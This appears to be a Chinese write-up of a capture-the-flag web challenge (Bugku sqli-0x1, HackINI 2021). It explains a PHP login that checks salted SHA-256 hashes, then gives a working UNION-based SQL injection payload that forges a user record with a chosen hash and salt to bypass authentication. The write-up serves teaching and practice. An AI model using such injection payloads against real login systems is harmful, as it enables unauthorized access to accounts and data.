Bugku-Web题目-sqli-0x1- HackINI 2021 - 指南
打开题目,给了一个登录框界面。

看看源代码,发现别有洞天。

打开看看,发现是一大串php代码。

总而言之,只需要知道如下几件事:
1、黑名单不拦截
2、explode() 函数将 password 的输入密码和盐分开
$split = explode('$', $result["password"]);
$password_hash = $split[0];
$salt = $split[1];
3、password = 用户输入的密码 + 盐 。再取sha256进行比对
if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true;
如何解题呢?手动sql注入,创造一个新的记录,再让服务器查到这个记录,再让密码验证通过。
payload:
user:
a'union select 1,'d619e89bdaae0de8760ea721fa1ba8d9a819870b1ba82d720e7ac802270fce92$999'--+
pass:
888
通过这样的payload,服务端就会看到
SELECT * FROM users WHERE username='a'
union select
1,'d619e89bdaae0de8760ea721fa1ba8d9a819870b1ba82d720e7ac802270fce92$999'--+
这是如何实现的呢?
在 user 中的 ‘d619e89bdaae0de8760ea721fa1ba8d9a819870b1ba82d720e7ac802270fce92$999’ 是由 ‘888999’ 生成的 sha256 哈希结果,将会被用于 if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true; 密码的比对,在 ‘888999’ 中的888是用户输入的密码,999是盐,而在 ‘d619e89bdaae0de8760ea721fa1ba8d9a819870b1ba82d720e7ac802270fce92$999’ 中结尾的 $999 是 explode() 函数按照 $ 来分割的盐,在 $split = explode('$', $result["password"]);$password_hash = $split[0];$salt = $split[1]; 它用于加上用户输入的密码来计算sha256来比对。
最终得到flag


浙公网安备 33010602011771号